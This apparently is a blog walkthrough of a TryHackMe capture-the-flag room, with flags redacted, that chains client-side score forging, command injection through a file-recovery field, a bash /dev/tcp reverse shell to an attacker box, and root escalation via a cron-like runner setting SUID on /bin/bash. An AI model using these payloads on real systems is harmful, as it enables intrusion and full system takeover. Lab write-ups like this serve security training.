December 4, 2026
TryHackMe | SQ1: The Unwinnable Game (Advent of Cyber 2026) Walkthrough
Full walkthrough of TryHackMe SQ1 The Unwinnable Game: client-side score forging, command injection, lateral movement, and root privesc.

By Eisha
6 min read
Full walkthrough of TryHackMe SQ1 The Unwinnable Game: client-side score forging, command injection, lateral movement, and root privesc.
A full-chain challenge: client-side trust failure โ command injection โ lateral movement โ root. Here's how I beat a game that "nobody wins."
๐ Room: SQ1: The Unwinnable Game โ TryHackMe
In the spirit of the TryHackMe walkthrough guidelines, this write-up contains no flags, passwords, or cracked values โ just the methodology. Go earn them yourself!
Intro
Advent of Cyber 2026 kicked off, and the first Side Quest SQ1: The Unwinnable Game drops you into Cypher Creek, where the Bandit Yeti has ransomed the whole town's files behind a browser game. Sheriff Hashley sets the tone:
"Five years now. I've watched every soul in this town line up for that game. Not one has ever won."
The room is a complete attack chain that takes you from an anonymous web port all the way to root, answering five questions along the way:
Challenge questions
Let's get into it.
Recon
Standard start | scan the target:
nmap -sC -sV -T4 <TARGET_IP>nmap -sC -sV -T4 <TARGET_IP>Two ports stand out:
- 22/tcp โ SSH
- 31337/tcp โ the classic "elite" port, and where all the action is
Port 22 is just a door we'll need credentials for later. Port 31337 is the interesting one, so point a browser at it:
http://<TARGET_IP>:31337http://<TARGET_IP>:31337Step 1: The Unwinnable Game (Client-Side Scoreboard)
The portal loads The Yeti's Ransom Portal, a whack-a-mole game. Click the Yeti before he vanishes.
The Yeti's Ransom Portal
Try to play it honestly and you'll quickly see why nobody wins. Pop open DevTools (Ctrl + Shift + C or F12) and read the game's JavaScript. The win logic tells the whole story:
const SCORE_SECRET = "yeti-loves-round-numbers";
function nextRound() {
round++;
const windowMs = Math.max(1000 * Math.pow(0.75, round - 1), 10);
// ...the Yeti's visible window shrinks 25% every round, down to 10ms
}
async function submitScore(finalScore) {
const sig = hmacSha256Hex(SCORE_SECRET, String(finalScore));
const res = await fetch("/api/score", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ score: finalScore, sig }),
});
const data = await res.json();
if (data.won) {
window.location.href = "/vault";
}
}const SCORE_SECRET = "yeti-loves-round-numbers";
function nextRound() {
round++;
const windowMs = Math.max(1000 * Math.pow(0.75, round - 1), 10);
// ...the Yeti's visible window shrinks 25% every round, down to 10ms
}
async function submitScore(finalScore) {
const sig = hmacSha256Hex(SCORE_SECRET, String(finalScore));
const res = await fetch("/api/score", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ score: finalScore, sig }),
});
const data = await res.json();
if (data.won) {
window.location.href = "/vault";
}
}Two takeaways:
- The game is mathematically unwinnable. The click window shrinks ~25% per round and bottoms out at 10ms. No human beats that.
- The server trusts a client-side signature. When the game ends it POSTs
{score, sig}to/api/score, wheresig = HMAC-SHA256(SCORE_SECRET, score). The server verifies the signature โ but the secret,yeti-loves-round-numbers, is sitting right there in the browser.
Since we have the secret, we can forge a valid signature for any score we like. The secret's name even nudges us: the Yeti "loves round numbers." Just call the page's own function from the DevTools Console:
submitScore(1000)submitScore(1000)The server validates the forged signature, returns won: true, and redirects us to /vault.
The vault opens โ first flag
๐ฉ Flag 1 (the prize):
THM{...}
A perfect lesson in one line: anything the client computes, the client can forge.
Step 2: File Recovery โ Command Injection (Foothold)
The vault reveals a new feature: File recovery. It asks for a "household" and promises the relay will "pull their files back out of the stream and restore them."
Submitting the example (creekside_inn) echoes a verbose, server-side log right back to us:
File recovery output is reflected
Two important observations:
- The relay is running some server-side restore operation using our input.
- Our input is reflected in the output, so if we can inject a command, we'll see its result immediately (no blind shell needed).
Peeking at the Network tab confirms the recover action POSTs to a /recover endpoint:
Recover POST in the Network tab
Time to test for command injection. In the household field:
creekside_inn; envcreekside_inn; env
We found the user name which is relay and the home directory which is /home/relay/
Now we run the ls command to list down the files in the Home directory and found the user.txt there
creekside_inn; ls /home/relay/creekside_inn; ls /home/relay/
Now we run the cat command to read the user.txt file
creekside_inn; cat /home/relay/user.txtcreekside_inn; cat /home/relay/user.txt๐ฉ Flag 2 (first foothold):
THM{...}
We're executing as the relay user.
Step 3: The Relay's Notes to Itself
Next question: "the relay left notes to itself." In Linux, the most literal "notes to itself" a user keeps is its shell history. Enumerate relay's home with hidden files shown:
creekside_inn; ls -la /home/relay
creekside_inn; cat /home/relay/.bash_historycreekside_inn; ls -la /home/relay
creekside_inn; cat /home/relay/.bash_history
The .bash_history is a complete roadmap of what relay was doing:
whoami
ls -al
cat user.txt
cd /opt
cd cypher-stream
python3 keygen.py
cat flag_enum.txt
cat keygen.py
su operator
exitwhoami
ls -al
cat user.txt
cd /opt
cd cypher-stream
python3 keygen.py
cat flag_enum.txt
cat keygen.py
su operator
exitThe relay had been working in /opt/cypher-stream, running keygen.py, and reading a file literally named flag_enum.txt:
creekside_inn; cat /opt/cypher-stream/flag_enum.txtcreekside_inn; cat /opt/cypher-stream/flag_enum.txt๐ฉ Flag 3 (notes to itself):
THM{...}
Step 4: "The Same Recipe, Every Time" (Lateral Movement to operator)
That history ended with su operator, and we saw keygen.py. The question "the same recipe, every time" is a dead giveaway: the key generator is deterministic, it produces the same output on every run (fixed seed / predictable inputs). If operator's credential comes from a recipe that never changes, we can just run the recipe ourselves.
creekside_inn; cat /opt/cypher-stream/keygen.py
creekside_inn; python3 /opt/cypher-stream/keygen.pycreekside_inn; cat /opt/cypher-stream/keygen.py
creekside_inn; python3 /opt/cypher-stream/keygen.pyRunning it spits out operator's key โ the same value every time.
Now, don't bother trying this over SSH, the SSH server here is public-key only, so password auth returns Permission denied (publickey). Instead, upgrade the web RCE into a real interactive shell and su locally.
Catch a reverse shell (listener on your AttackBox):
# AttackBox
nc -lvnp 4444
# Recover box (inject)
creekside_inn; bash -c 'bash -i >& /dev/tcp/<ATTACKBOX_IP>/4444 0>&1'# AttackBox
nc -lvnp 4444
# Recover box (inject)
creekside_inn; bash -c 'bash -i >& /dev/tcp/<ATTACKBOX_IP>/4444 0>&1'
Stabilize the TTY (required for su):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then on AttackBox:
stty raw -echo; fg
# press Enterpython3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then on AttackBox:
stty raw -echo; fg
# press EnterSwitch user with the generated key:
su operator
# password: operator key previously obtainedsu operator
# password: operator key previously obtained
ls -la ~
cat ~/operator.txtls -la ~
cat ~/operator.txtAfter running ls commad we found the operator.txt file and read it using cat and found the flag
๐ฉ Flag 4 (operator):
THM{...}
Step 5: Who Really Runs the Relay? (Privilege Escalation to root)
sudo -l says operator may not run sudo, so we need another path. The question "who really runs the relay" is itself the hint. Check which user owns the relay processes:
ps aux | grep -i -E 'relay|cypher|python' | grep -v grepps aux | grep -i -E 'relay|cypher|python' | grep -v grep
ps aux โ root runs the maintenance runner
And there it is:
root 603 ... /usr/bin/python3 /opt/cypher-stream/relay-maintenance-runner.pyroot 603 ... /usr/bin/python3 /opt/cypher-stream/relay-maintenance-runner.pyRoot runs the relay's maintenance runner. operator can't read /opt/cypher-stream, but relay can (via the web RCE), so read the script through the relay context:
creekside_inn; cat /opt/cypher-stream/relay-maintenance-runner.pycreekside_inn; cat /opt/cypher-stream/relay-maintenance-runner.py
The vulnerability is glaring: every 3 seconds, root executes any regular file in /home/operator/maintenance/ that is owned by operator, then deletes it. We are operator, and that's our home directory. So we drop a script and root runs it for us.
As operator:
mkdir -p /home/operator/maintenance
echo 'chmod u+s /bin/bash' > /home/operator/maintenance/pwn.shmkdir -p /home/operator/maintenance
echo 'chmod u+s /bin/bash' > /home/operator/maintenance/pwn.shWait a few seconds for root's next pass, then confirm /bin/bash is now SUID and drop into a root shell:
ls -l /bin/bash
/bin/bash -p
id # euid=0(root)
cat /root/root.txtls -l /bin/bash
/bin/bash -p
id # euid=0(root)
cat /root/root.txt
๐ฉ Flag 5 (root โ who really runs the relay):
THM{...}